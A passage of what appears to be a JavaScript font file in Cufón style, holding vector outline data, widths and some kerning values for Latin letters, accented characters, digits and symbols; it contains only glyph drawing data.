43,182,-150v0,-95,-61,-136,-160,-136v-41,0,-84,8,-114,18r-10,-9r14,-352r340,0v4,27,4,62,0,89r-250,0"},{"d":"129,-721v39,-5,88,-5,127,0r115,127v-31,6,-70,5,-100,0","w":500},{"d":"214,0v-30,5,-69,5,-99,0r0,-435r-84,0v-5,-21,-5,-57,0,-78r84,0v-9,-145,50,-231,186,-230v32,0,56,3,80,10v-3,33,-7,53,-15,80v-18,-3,-33,-7,-56,-7v-85,0,-100,59,-96,147r131,0v4,25,4,53,0,78r-131,0r0,435","w":370,"k":{"\u0135":-30,"\u012d":-50,"\u012b":-64,"\u0129":-47,"\u00ef":-55,"\u00ee":-30,"\u00ec":-64}},{"d":"516,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,296r306,0r0,-296v30,-5,71,-5,102,0r0,719v-30,5,-72,5,-102,0r0,-333r-306,0r0,333","w":686},{"d":"192,0v-33,2,-70,5,-102,0r0,-720r154,-11v159,2,278,58,278,220v0,113,-75,169,-153,208r209,303v-34,4,-79,4,-115,0r-230,-333r0,-4v87,-24,176,-59,180,-166v4,-119,-101,-156,-221,-138r0,641","w":597},{"d":"517,-89v5,26,5,64,0,89r-487,0r-6,-9r362,-621r-317,0v-5,-26,-5,-63,0,-89r467,0r7,9r-363,621r337,0","w":566},{"d":"527,-256v0,162,-77,268,-239,268v-162,0,-239,-106,-239,-268v0,-162,78,-269,239,-269v161,0,239,107,239,269xm154,-256v0,108,33,189,134,189v100,0,135,-81,135,-189v0,-108,-34,-188,-135,-188v-101,0,-134,80,-134,188","w":577},{"d":"471,-90v5,28,4,63,0,90r-383,0r0,-719v30,-6,71,-5,101,0r0,629r282,0","w":495},{"d":"514,-546v3,87,-56,136,-116,165v78,34,149,86,149,197v0,140,-108,196,-247,196v-140,0,-247,-56,-247,-196v0,-111,71,-162,148,-197v-59,-29,-118,-79,-115,-165v4,-117,93,-173,214,-173v121,0,210,56,214,173xm300,-73v131,0,183,-135,100,-212v-26,-24,-61,-42,-100,-54v-71,24,-141,57,-141,146v0,80,56,120,141,120xm300,-638v-109,0,-153,114,-82,177v21,19,52,33,82,42v59,-19,117,-45,117,-120v0,-65,-46,-99,-117,-99"},{"d":"170,-887v41,-7,96,-6,138,0r105,108v-31,6,-74,5,-106,0xm337,12v-189,0,-257,-116,-256,-305r0,-426v31,-4,71,-4,102,0r0,408v0,134,22,231,154,231v131,0,153,-98,153,-231r0,-408v33,-4,71,-4,103,0r0,426v1,189,-67,305,-256,305","w":674},{"d":"594,-730v222,0,365,113,365,337v0,143,-65,250,-158,307v-61,37,-170,41,-223,-1v-38,22,-85,37,-144,37v-94,1,-157,-63,-155,-159v3,-146,75,-241,177,-289v76,-36,183,-25,259,-1r-72,357v145,51,225,-99,227,-251v2,-173,-110,-261,-286,-259v-215,2,-345,116,-406,273v-20,52,-29,106,-29,161v1,192,103,292,290,295v65,1,123,-11,170,-28v9,20,17,44,22,70v-49,23,-113,34,-194,34v-236,0,-381,-126,-381,-367v0,-233,123,-390,296,-469v68,-31,149,-47,242,-47xm378,-228v-6,103,99,118,175,80r55,-288v-143,-27,-222,73,-230,208","w":1014},{"d":"275,238v-26,6,-58,6,-85,0r44,-173v29,-5,69,-6,99,0xm231,12v-75,0,-131,-12,-185,-31v3,-32,15,-63,24,-90v48,16,90,30,157,30v116,0,188,-65,155,-172v-72,-126,-317,-75,-317,-286v0,-192,236,-229,403,-166v-3,28,-11,56,-22,83v-85,-35,-282,-54,-274,76v5,89,94,101,160,129v90,39,169,79,169,205v-1,147,-113,222,-270,222","w":545},{"d":"161,-802v-13,-18,-27,-34,-33,-57v26,-31,85,-66,143,-43v38,15,72,42,120,42v34,0,45,-14,68,-34v15,19,26,38,33,59v-22,21,-57,49,-100,48v-65,-1,-99,-49,-162,-49v-35,0,-46,15,-69,34xm600,0v-32,5,-76,6,-108,0r-50,-166r-273,0r-49,166v-32,5,-73,5,-104,0r234,-719v35,-5,81,-5,117,0xm196,-255r219,0r-110,-367","w":617},{"d":"44,-152v0,-149,150,-184,302,-165r0,-21v13,-131,-152,-113,-240,-85v-13,-22,-19,-48,-19,-79v42,-14,100,-23,154,-23v84,0,133,28,168,80v36,-45,90,-80,168,-80v160,2,228,124,208,292r-343,0v0,117,52,162,166,163v52,0,91,-10,131,-25v9,19,17,52,18,79v-95,40,-262,40,-333,-21v-43,26,-111,50,-182,49v-118,-1,-198,-46,-198,-164xm144,-151v0,113,165,96,229,54v-21,-34,-28,-88,-29,-141v-90,-12,-200,-9,-200,87xm693,-307v-2,-81,-36,-139,-117,-139v-88,0,-124,57,-133,139r250,0","w":839},{"d":"231,12v-75,0,-131,-12,-185,-31v3,-32,15,-63,24,-90v48,16,90,30,157,30v116,0,188,-65,155,-172v-72,-126,-317,-75,-317,-286v0,-192,236,-229,403,-166v-3,28,-11,56,-22,83v-85,-35,-282,-54,-274,76v5,89,94,101,160,129v90,39,169,79,169,205v-1,147,-113,222,-270,222","w":545},{"d":"347,-530v-23,6,-56,5,-80,0r0,-203v22,-5,69,-5,94,0xm288,-1v-110,27,-210,-11,-210,-132r0,-600v29,-5,69,-5,98,0r0,578v0,52,13,83,63,82v12,0,30,-1,40,-4v6,23,9,49,9,76","w":353},{"d":"350,-653v-89,-23,-152,9,-152,107r0,546v-29,5,-69,5,-98,0r0,-549v-10,-154,119,-222,265,-184v-3,34,-5,54,-15,80","w":342},{"d":"340,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm520,-89v5,26,5,64,0,89r-487,0r-6,-9r362,-621r-317,0v-5,-26,-5,-63,0,-89r467,0r7,9r-363,621r337,0","w":570},{"d":"278,-719v30,-5,66,-5,97,0r-244,719v-30,5,-66,5,-96,0","w":410},{"d":"657,-525v158,2,227,127,208,293r-341,0v3,110,53,161,164,162v52,0,91,-10,131,-25v9,19,18,52,19,79v-46,19,-95,28,-159,28v-102,0,-169,-41,-206,-107v-37,63,-89,107,-183,107v-161,0,-238,-107,-238,-268v0,-161,78,-269,238,-269v91,0,149,44,185,103v33,-60,92,-104,182,-103xm153,-256v0,108,37,189,137,189v100,0,138,-81,138,-189v0,-108,-38,-188,-138,-188v-100,0,-137,80,-137,188xm773,-306v-2,-79,-36,-140,-117,-139v-84,1,-123,58,-131,139r248,0","w":919},{"d":"168,-887v33,-5,75,-6,109,0r65,62r65,-62v37,-2,76,-7,111,0r-118,108v-34,6,-83,5,-117,0xm184,0v-28,5,-68,5,-96,0r0,-719v28,-5,66,-5,94,0r313,540r0,-540v30,-5,68,-6,97,0r0,719v-28,5,-66,5,-94,0r-314,-537r0,537","w":680},{"d":"-23,99v65,21,136,4,136,-77r0,-456r-66,0v-5,-23,-5,-56,0,-79r163,0r0,542v0,106,-55,156,-159,157v-36,0,-64,-5,-90,-12v0,-25,7,-57,16,-75","w":290},{"d":"970,-149v5,19,6,54,0,71r-48,0r0,77v-27,4,-54,4,-79,0r0,-77r-208,0r-8,-13r164,-325v27,3,51,11,73,24r-119,243r98,0r0,-79v25,-4,53,-4,79,0r0,79r48,0xm735,-708v31,-5,70,-5,101,0r-483,707v-32,5,-70,5,-101,0xm95,-306v-7,-20,-7,-51,0,-71r96,0r0,-229r-93,38v-17,-17,-26,-38,-33,-64r193,-79r17,0r0,334r93,0v5,23,5,49,0,71r-273,0","w":1050},{"d":"87,-719v31,-4,71,-5,102,0r0,112v194,-18,339,47,339,239v0,191,-143,253,-339,238r0,130v-31,4,-72,4,-102,0r0,-719xm189,-220v129,18,233,-17,233,-149v0,-132,-104,-166,-233,-148r0,297","w":581},{"d":"190,0v-31,4,-71,5,-102,0r0,-720v50,-6,110,-11,167,-11v165,1,273,65,273,232v1,191,-143,257,-338,239r0,260xm422,-498v0,-129,-106,-157,-232,-142r0,291v127,17,232,-17,232,-149","w":566},{"d":"441,-594v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm192,-174v-26,13,-60,61,-28,92v73,37,261,-7,320,54v40,41,54,120,19,172v-46,69,-139,105,-255,105v-120,0,-211,-27,-211,-133v0,-60,37,-103,79,-125v-25,-17,-47,-40,-47,-81v0,-55,28,-86,61,-112v-40,-28,-73,-76,-73,-142v0,-120,85,-178,209,-181v60,0,110,20,144,46v28,-22,77,-38,129,-37v6,27,5,62,0,89r-90,0v14,22,23,47,23,83v1,143,-136,201,-280,170xm253,171v86,1,166,-26,170,-93v5,-86,-122,-59,-203,-65v-56,-4,-90,34,-90,84v0,64,58,73,123,74xm161,-344v0,65,36,107,105,107v69,0,105,-42,106,-107v0,-66,-37,-109,-106,-109v-70,0,-105,43,-105,109","w":549},{"d":"88,-110v33,-6,64,-7,99,0r-63,223v-29,4,-66,4,-95,0xm194,-403v-35,5,-76,5,-111,0v-6,-35,-6,-77,0,-112v35,-5,76,-5,111,0v4,37,7,76,0,112","w":260},{"d":"137,-449v-19,-23,-27,-43,-38,-74r266,-127r15,0r0,565r143,0v4,31,4,55,0,85r-391,0v-5,-26,-5,-59,0,-85r150,0r0,-430"},{"d":"554,-594v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm22,-513v33,-5,75,-6,107,0r100,419r113,-419v30,-6,71,-5,101,0r112,412r100,-412v30,-6,67,-5,98,0r-153,513v-32,5,-69,5,-101,0r-110,-388r-115,388v-32,5,-70,6,-101,0","w":775},{"d":"527,-256v0,162,-77,268,-239,268v-162,0,-239,-106,-239,-268v0,-162,78,-269,239,-269v161,0,239,107,239,269xm154,-256v0,108,33,189,134,189v100,0,135,-81,135,-189v0,-108,-34,-188,-135,-188v-101,0,-134,80,-134,188xm236,-604v-34,4,-69,4,-102,0v-5,-31,-5,-68,0,-100v31,-5,70,-5,102,0v5,30,5,69,0,100xm440,-604v-34,4,-69,4,-102,0v-5,-30,-5,-69,0,-100v31,-5,70,-5,102,0v4,35,4,66,0,100","w":577},{"d":"591,0v-37,5,-79,5,-116,0r-255,-365r231,-354v36,-6,75,-5,111,0r-228,345xm190,0v-31,5,-72,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719","w":601},{"d":"178,-794v-5,-22,-5,-53,0,-75r319,0v4,22,4,54,0,75r-319,0xm337,12v-189,0,-257,-116,-256,-305r0,-426v31,-4,71,-4,102,0r0,408v0,134,22,231,154,231v131,0,153,-98,153,-231r0,-408v33,-4,71,-4,103,0r0,426v1,189,-67,305,-256,305","w":674},{"d":"550,-199v1,220,-252,227,-461,199r0,-719v39,-8,110,-11,161,-11v146,1,255,43,255,187v0,85,-49,137,-115,158v96,15,159,73,160,186xm443,-203v0,-129,-120,-138,-253,-132r0,256v121,12,253,3,253,-124xm403,-537v0,-105,-108,-124,-213,-109r0,227v116,7,213,-8,213,-118","w":595},{"d":"318,-607v-36,5,-79,5,-115,0v-5,-34,-5,-75,0,-110v37,-4,78,-7,115,0v5,34,5,75,0,110xm29,-14r270,-420r-238,0v-4,-23,-4,-55,0,-79r385,0r5,13r-272,421r255,0v4,25,4,54,0,79r-400,0","w":477},{"d":"90,-887v33,-5,75,-6,109,0r65,62r65,-62v37,-2,76,-7,111,0r-118,108v-34,6,-83,5,-117,0xm501,-719v5,26,5,62,0,89r-187,0r0,630v-31,4,-71,4,-102,0r0,-630r-187,0v-5,-26,-5,-63,0,-89r476,0","w":526},{"d":"314,12v-163,0,-240,-72,-240,-240r0,-285v30,-5,69,-5,99,0r0,281v-2,106,35,164,140,161v34,0,63,-4,87,-11r0,-431v29,-5,69,-5,98,0r0,497v-49,13,-119,28,-184,28xm241,-604v-34,4,-69,4,-102,0v-5,-31,-5,-68,0,-100v31,-5,70,-5,102,0v5,30,5,69,0,100xm445,-604v-34,4,-69,4,-102,0v-5,-30,-5,-69,0,-100v31,-5,70,-5,102,0v4,35,4,66,0,100","w":574},{"d":"70,-556v-6,-27,-5,-62,0,-89r475,0r4,7r-304,712v-38,-9,-66,-20,-93,-42r256,-588r-338,0"},{"d":"314,12v-163,0,-240,-72,-240,-240r0,-285v30,-5,69,-5,99,0r0,281v-2,106,35,164,140,161v34,0,63,-4,87,-11r0,-431v29,-5,69,-5,98,0r0,497v-49,13,-119,28,-184,28","w":574},{"d":"511,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm337,12v-189,0,-257,-116,-256,-305r0,-426v31,-4,71,-4,102,0r0,408v0,134,22,231,154,231v131,0,153,-98,153,-231r0,-408v33,-4,71,-4,103,0r0,426v1,189,-67,305,-256,305","w":674},{"d":"314,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719","w":278},{"d":"242,-789v-32,5,-72,5,-105,0v-4,-34,-4,-67,0,-101v33,-5,72,-5,105,0v5,30,5,71,0,101xm457,-789v-33,5,-72,5,-105,0v-6,-33,-7,-65,0,-101v32,-5,72,-5,105,0v4,35,4,67,0,101xm349,0v-32,5,-72,5,-103,0r0,-263r-228,-456v34,-5,80,-5,114,0r168,357r166,-357v33,-5,75,-5,108,0r-225,456r0,263","w":592},{"d":"190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719","w":278},{"d":"306,-789v-32,5,-72,5,-105,0v-4,-34,-4,-67,0,-101v33,-5,72,-5,105,0v5,30,5,71,0,101xm521,-789v-33,5,-72,5,-105,0v-6,-33,-7,-65,0,-101v32,-5,72,-5,105,0v4,35,4,67,0,101xm666,-359v0,218,-87,371,-303,371v-217,0,-304,-154,-304,-371v0,-218,88,-372,304,-372v216,0,303,154,303,372xm168,-359v0,157,43,283,195,283v152,0,195,-127,195,-283v0,-156,-43,-282,-195,-282v-152,0,-195,126,-195,282","w":724},{"d":"291,-525v162,0,229,122,212,293r-349,0v2,110,56,161,166,162v47,0,92,-8,135,-25v10,19,18,51,19,79v-45,19,-96,28,-160,28v-175,-1,-265,-93,-265,-265v0,-164,78,-272,242,-272xm408,-306v-3,-81,-38,-140,-120,-140v-87,0,-124,58,-133,140r253,0","w":556},{"d":"473,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm349,0v-32,5,-72,5,-103,0r0,-263r-228,-456v34,-5,80,-5,114,0r168,357r166,-357v33,-5,75,-5,108,0r-225,456r0,263","w":592},{"d":"22,-513v33,-5,75,-6,107,0r100,419r113,-419v30,-6,71,-5,101,0r112,412r100,-412v30,-6,67,-5,98,0r-153,513v-32,5,-69,5,-101,0r-110,-388r-115,388v-32,5,-70,6,-101,0","w":775},{"d":"453,-594v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm314,12v-163,0,-240,-72,-240,-240r0,-285v30,-5,69,-5,99,0r0,281v-2,106,35,164,140,161v34,0,63,-4,87,-11r0,-431v29,-5,69,-5,98,0r0,497v-49,13,-119,28,-184,28","w":574},{"d":"295,-653v175,0,245,110,245,289v0,265,-131,427,-381,451v-10,-21,-10,-59,-4,-85v164,-18,259,-118,281,-278v-29,51,-87,97,-170,94v-136,-5,-213,-87,-213,-230v0,-151,95,-241,242,-241xm157,-415v2,93,43,148,134,148v90,0,139,-59,141,-150v2,-94,-45,-150,-134,-150v-85,0,-143,59,-141,152"},{"d":"88,-207v-4,-26,-4,-64,0,-91r424,0v5,27,5,65,0,91r-424,0xm88,-398v-4,-26,-4,-64,0,-91r424,0v5,27,5,65,0,91r-424,0"},{"d":"270,12v-57,0,-125,-5,-172,-12r0,-331r-82,0v-5,-22,-5,-53,0,-75r82,0r0,-313v48,-5,120,-11,176,-11v248,-1,375,129,376,372v0,252,-129,370,-380,370xm542,-361v0,-211,-126,-302,-342,-274r0,229r162,0v5,22,5,53,0,75r-162,0r0,247v21,3,51,5,78,5v183,1,264,-94,264,-282","w":708},{"d":"142,-427v0,75,100,67,165,57r0,-122v-70,-10,-165,-7,-165,65xm62,-426v0,-120,122,-146,245,-131v16,-113,-120,-96,-194,-75v-10,-17,-17,-42,-17,-67v34,-10,84,-18,127,-18v107,0,167,44,167,150r0,250v-39,10,-103,21,-154,20v-105,-1,-174,-29,-174,-129","w":500},{"d":"311,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm192,0v-33,2,-70,5,-102,0r0,-720r154,-11v159,2,278,58,278,220v0,113,-75,169,-153,208r209,303v-34,4,-79,4,-115,0r-230,-333r0,-4v87,-24,176,-59,180,-166v4,-119,-101,-156,-221,-138r0,641","w":597},{"d":"85,-789v-32,5,-72,5,-105,0v-4,-34,-4,-67,0,-101v33,-5,72,-5,105,0v5,30,5,71,0,101xm300,-789v-33,5,-72,5,-105,0v-6,-33,-7,-65,0,-101v32,-5,72,-5,105,0v4,35,4,67,0,101xm190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719","w":278},{"d":"134,-887v41,-7,96,-6,138,0r105,108v-31,6,-74,5,-106,0xm600,0v-32,5,-76,6,-108,0r-50,-166r-273,0r-49,166v-32,5,-73,5,-104,0r234,-719v35,-5,81,-5,117,0xm196,-255r219,0r-110,-367","w":617},{"d":"-9,-802v-13,-18,-27,-34,-33,-57v26,-31,85,-66,143,-43v38,15,72,42,120,42v34,0,45,-14,68,-34v15,19,26,38,33,59v-22,21,-57,49,-100,48v-65,-1,-99,-49,-162,-49v-35,0,-46,15,-69,34xm190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719","w":278},{"d":"126,-794v-5,-22,-5,-53,0,-75r319,0v4,22,4,54,0,75r-319,0xm491,-89v4,26,5,63,0,89r-403,0r0,-719r395,0v4,26,5,63,0,89r-293,0r0,206r234,0v5,26,5,63,0,89r-234,0r0,246r301,0","w":536},{"d":"403,238v-30,7,-58,6,-87,0r45,-173v30,-5,72,-6,102,0xm407,-79v38,0,70,-4,97,-12r0,-281v30,-5,71,-5,101,0r0,351v-54,23,-128,33,-203,33v-227,0,-343,-138,-343,-367v0,-177,76,-293,199,-349v87,-39,228,-31,311,1v-3,34,-13,56,-24,84v-43,-13,-81,-25,-142,-23v-164,5,-235,118,-235,287v0,170,75,272,239,276","w":681},{"d":"527,-256v0,162,-77,268,-239,268v-162,0,-239,-106,-239,-268v0,-162,78,-269,239,-269v161,0,239,107,239,269xm154,-256v0,108,33,189,134,189v100,0,135,-81,135,-189v0,-108,-34,-188,-135,-188v-101,0,-134,80,-134,188xm127,-721v39,-5,88,-5,127,0r115,127v-31,6,-70,5,-100,0","w":577},{"d":"109,-306v-7,-20,-7,-51,0,-71r96,0r0,-229r-93,38v-17,-17,-26,-38,-33,-64r193,-79r17,0r0,334r93,0v5,23,5,49,0,71r-273,0","w":450},{"d":"-14,-721v39,-5,88,-5,127,0r115,127v-31,6,-70,5,-100,0xm207,0v-29,5,-68,5,-97,0r0,-435r-65,0v-5,-22,-5,-56,0,-78r162,0r0,513","w":288},{"d":"176,0v-29,5,-68,5,-97,0r0,-493v-1,-151,49,-249,200,-249v142,0,217,108,171,238v-19,55,-70,81,-76,147v8,68,82,75,118,117v22,25,42,56,41,105v-2,95,-69,147,-175,147v-51,0,-85,-9,-121,-24v3,-29,13,-56,23,-79v55,30,181,41,173,-47v-10,-108,-162,-81,-157,-212v3,-100,89,-123,89,-226v0,-53,-33,-86,-88,-85v-93,3,-101,66,-101,170r0,491","w":572},{"d":"311,12v-175,0,-245,-109,-245,-289v0,-265,131,-427,381,-451v10,27,10,56,4,84v-167,18,-254,123,-282,279v30,-50,87,-96,171,-93v136,5,213,87,213,230v0,151,-95,240,-242,240xm449,-225v0,-94,-44,-149,-134,-149v-90,0,-139,59,-141,151v-2,94,45,149,134,149v91,0,141,-58,141,-151"},{"d":"177,236v-30,4,-69,4,-99,0r0,-969v30,-4,69,-4,99,0r0,285v28,-41,79,-79,152,-77v146,5,204,103,208,256v5,204,-155,319,-360,269r0,236xm307,-438v-85,2,-130,57,-130,146r0,208v28,10,51,14,91,14v114,-2,164,-77,164,-195v0,-98,-30,-175,-125,-173","w":590},{"d":"148,-794v-5,-22,-5,-53,0,-75r319,0v4,22,4,54,0,75r-319,0xm600,0v-32,5,-76,6,-108,0r-50,-166r-273,0r-49,166v-32,5,-73,5,-104,0r234,-719v35,-5,81,-5,117,0xm196,-255r219,0r-110,-367","w":617},{"d":"329,142v0,-47,-81,-38,-121,-29v-1,-1,-3,-2,-6,-5r38,-102v-124,-22,-189,-118,-189,-262v0,-164,84,-266,249,-269v55,-1,97,7,136,22v0,26,-8,59,-17,78v-33,-10,-68,-17,-111,-17v-107,-1,-156,78,-156,186v0,118,56,186,163,186v44,0,73,-5,107,-18v11,18,20,50,21,78v-43,15,-86,22,-143,22r-18,45v69,-8,123,23,123,84v0,98,-132,116,-221,88v2,-21,4,-43,14,-58v47,17,131,21,131,-29","w":478},{"d":"235,238v-26,6,-58,6,-85,0r44,-173v29,-5,69,-6,99,0xm199,12v-62,1,-107,-9,-151,-24v3,-29,14,-57,23,-81v80,40,280,37,231,-86v-16,-41,-77,-45,-119,-63v-72,-29,-122,-51,-122,-135v0,-101,79,-148,191,-148v51,0,105,12,142,25v-3,28,-11,56,-21,77v-63,-30,-246,-48,-205,65v67,80,247,44,241,205v-4,115,-91,163,-210,165","w":455},{"d":"335,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm349,0v-32,5,-72,5,-103,0r0,-263r-228,-456v34,-5,80,-5,114,0r168,357r166,-357v33,-5,75,-5,108,0r-225,456r0,263","w":592},{"d":"292,-525v162,0,229,122,212,293r-349,0v2,110,56,161,166,162v47,0,92,-8,135,-25v10,19,18,51,19,79v-45,19,-96,28,-160,28v-175,-1,-265,-93,-265,-265v0,-164,78,-272,242,-272xm409,-306v-3,-81,-38,-140,-120,-140v-87,0,-124,58,-133,140r253,0xm133,-721v39,-5,88,-5,127,0r115,127v-31,6,-70,5,-100,0","w":557},{"d":"475,-891v-3,139,-244,151,-313,61v-12,-15,-19,-36,-22,-61v27,-6,61,-6,88,0v7,35,30,54,79,54v49,0,72,-19,79,-54v32,-7,59,-6,89,0xm600,0v-32,5,-76,6,-108,0r-50,-166r-273,0r-49,166v-32,5,-73,5,-104,0r234,-719v35,-5,81,-5,117,0xm196,-255r219,0r-110,-367","w":617},{"d":"153,-384v-43,0,-64,13,-91,39v-21,-19,-36,-40,-43,-64v25,-30,78,-60,132,-59v68,2,111,40,180,40v39,0,59,-12,86,-37v20,19,32,42,42,69v-30,29,-69,52,-127,52v-68,-1,-113,-40,-179,-40","w":477},{"d":"387,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm666,-359v0,218,-87,371,-303,371v-217,0,-304,-154,-304,-371v0,-218,88,-372,304,-372v216,0,303,154,303,372xm168,-359v0,157,43,283,195,283v152,0,195,-127,195,-283v0,-156,-43,-282,-195,-282v-152,0,-195,126,-195,282","w":724},{"d":"668,-359v0,218,-87,371,-303,371v-217,0,-304,-154,-304,-371v0,-218,88,-372,304,-372v216,0,303,154,303,372xm170,-359v0,157,43,283,195,283v152,0,195,-127,195,-283v0,-156,-43,-282,-195,-282v-152,0,-195,126,-195,282","w":729},{"d":"258,238v-30,7,-58,6,-87,0r45,-173v30,-5,72,-6,102,0xm501,-719v5,26,5,62,0,89r-187,0r0,630v-31,4,-71,4,-102,0r0,-630r-187,0v-5,-26,-5,-63,0,-89r476,0","w":526},{"d":"197,204v-34,5,-73,5,-107,0r6,-503v29,-5,65,-5,94,0xm89,-515v35,-5,77,-5,112,0v5,35,5,77,0,112v-35,5,-77,5,-112,0v-5,-35,-5,-77,0,-112","w":290},{"d":"119,-230v-46,-58,-45,-183,3,-238r-79,-80v14,-28,33,-46,61,-59r79,80v56,-45,178,-45,235,0r80,-80v23,14,46,34,59,58r-79,79v51,57,51,183,2,242r76,76v-15,25,-34,45,-57,59r-79,-78v-68,48,-173,48,-241,0r-77,77v-28,-12,-46,-33,-59,-60xm300,-481v-78,0,-127,54,-127,133v0,79,49,133,127,133v80,0,129,-54,129,-133v0,-79,-49,-133,-129,-133"},{"d":"360,-788v-33,7,-76,7,-109,0v-5,-31,-5,-72,0,-103v33,-7,76,-7,109,0v5,31,5,72,0,103xm520,-89v5,26,5,64,0,89r-487,0r-6,-9r362,-621r-317,0v-5,-26,-5,-63,0,-89r467,0r7,9r-363,621r337,0","w":570},{"d":"292,-525v162,0,229,122,212,293r-349,0v2,110,56,161,166,162v47,0,92,-8,135,-25v10,19,18,51,19,79v-45,19,-96,28,-160,28v-175,-1,-265,-93,-265,-265v0,-164,78,-272,242,-272xm409,-306v-3,-81,-38,-140,-120,-140v-87,0,-124,58,-133,140r253,0xm152,-620v-5,-21,-5,-52,0,-74r270,0v5,21,5,53,0,74r-270,0","w":557},{"d":"207,0v-29,5,-68,5,-97,0r0,-435r-65,0v-5,-22,-5,-56,0,-78r162,0r0,513xm195,-626v-33,5,-74,5,-107,0v-4,-31,-4,-71,0,-101v33,-5,74,-5,107,0v4,30,4,71,0,101xm263,99v66,20,137,6,137,-77r0,-457r-65,0v-5,-22,-5,-56,0,-78r162,0r0,542v1,107,-55,157,-159,158v-36,0,-66,-4,-91,-13v1,-26,7,-55,16,-75xm482,-627v-33,6,-73,6,-106,0v-5,-32,-5,-67,0,-99v33,-6,73,-7,106,0v5,32,5,67,0,99","w":578},{"d":"374,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm337,12v-189,0,-257,-116,-256,-305r0,-426v31,-4,71,-4,102,0r0,408v0,134,22,231,154,231v131,0,153,-98,153,-231r0,-408v33,-4,71,-4,103,0r0,426v1,189,-67,305,-256,305","w":674},{"d":"395,118v-21,5,-49,5,-70,0r0,-109v-140,-13,-213,-113,-213,-265v0,-152,75,-247,213,-266r0,-114v25,-7,44,-6,70,0r0,113v39,3,71,9,102,20v0,28,-8,58,-17,78v-33,-10,-68,-17,-111,-17v-107,-1,-156,78,-156,186v0,120,54,186,163,186v44,0,73,-5,107,-18v11,18,20,50,21,78v-34,10,-68,18,-109,21r0,107"},{"d":"190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,296r306,0r0,-296v30,-5,71,-5,102,0r0,719v-30,5,-72,5,-102,0r0,-333r-306,0r0,333","w":686},{"d":"297,-467v-38,0,-69,-30,-69,-68v0,-38,31,-69,69,-69v37,0,69,32,69,69v0,37,-32,68,-69,68xm297,-105v-38,0,-69,-31,-69,-69v0,-37,32,-69,69,-69v36,0,69,33,69,69v0,37,-32,69,-69,69xm88,-307v-4,-26,-4,-64,0,-91r424,0v5,27,5,65,0,91r-424,0"},{"d":"250,-717v-35,-17,-61,-53,-61,-102v-1,-68,50,-117,119,-117v68,0,120,50,119,117v0,49,-26,85,-61,102r234,717v-32,5,-76,6,-108,0r-51,-166r-271,0r-50,166v-32,5,-73,5,-104,0xm415,-255r-110,-363r-109,363r219,0xm253,-819v0,37,19,65,55,65v36,0,54,-28,54,-65v0,-37,-18,-65,-54,-65v-36,0,-55,28,-55,65","w":617},{"d":"147,-154v0,102,122,93,204,76r0,-163v-91,-14,-204,-10,-204,87xm48,-152v0,-149,151,-187,303,-167v5,-89,-33,-125,-117,-124v-48,0,-87,9,-125,20v-13,-22,-19,-48,-19,-79v42,-14,101,-23,154,-23v133,1,204,57,204,191r0,321v-49,11,-123,26,-187,25v-125,0,-213,-41,-213,-164xm211,-604v-34,4,-69,4,-102,0v-5,-31,-5,-68,0,-100v31,-5,70,-5,102,0v5,30,5,69,0,100xm415,-604v-34,4,-69,4,-102,0v-5,-30,-5,-69,0,-100v31,-5,70,-5,102,0v4,35,4,66,0,100","w":517},{"d":"282,-789v-32,5,-72,5,-105,0v-4,-34,-4,-67,0,-101v33,-5,72,-5,105,0v5,30,5,71,0,101xm497,-789v-33,5,-72,5,-105,0v-6,-33,-7,-65,0,-101v32,-5,72,-5,105,0v4,35,4,67,0,101xm337,12v-189,0,-257,-116,-256,-305r0,-426v31,-4,71,-4,102,0r0,408v0,134,22,231,154,231v131,0,153,-98,153,-231r0,-408v33,-4,71,-4,103,0r0,426v1,189,-67,305,-256,305","w":674},{"d":"51,-235v-5,-26,-5,-64,0,-91r259,0v5,27,5,65,0,91r-259,0","w":361},{"d":"179,0v-30,5,-69,5,-99,0r0,-513v25,-5,59,-5,84,0v4,18,9,59,9,81v31,-51,87,-95,175,-82v6,27,4,63,-1,90v-115,-14,-168,52,-168,169r0,255","w":372},{"d":"305,-594v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm-23,99v65,21,136,4,136,-77r0,-456r-66,0v-5,-23,-5,-56,0,-79r163,0r0,542v0,106,-55,156,-159,157v-36,0,-64,-5,-90,-12v0,-25,7,-57,16,-75","w":290},{"d":"250,-368v73,0,97,-62,97,-140v0,-79,-24,-139,-97,-139v-72,0,-97,61,-97,139v0,78,25,140,97,140xm250,-295v-125,0,-185,-88,-185,-213v0,-124,61,-211,185,-211v125,0,185,87,185,211v0,125,-60,213,-185,213","w":500},{"d":"237,-354r-121,-121v16,-25,40,-46,63,-64r121,122r121,-121v24,18,45,39,63,63r-121,121r121,121v-16,23,-40,47,-63,62r-120,-120r-123,121v-25,-17,-46,-38,-63,-63"},{"d":"20,-274v-7,-28,-8,-61,0,-88v17,-13,37,-27,58,-40r0,-331v29,-5,69,-5,98,0r0,262r73,-51v7,26,6,62,0,88r-73,51r0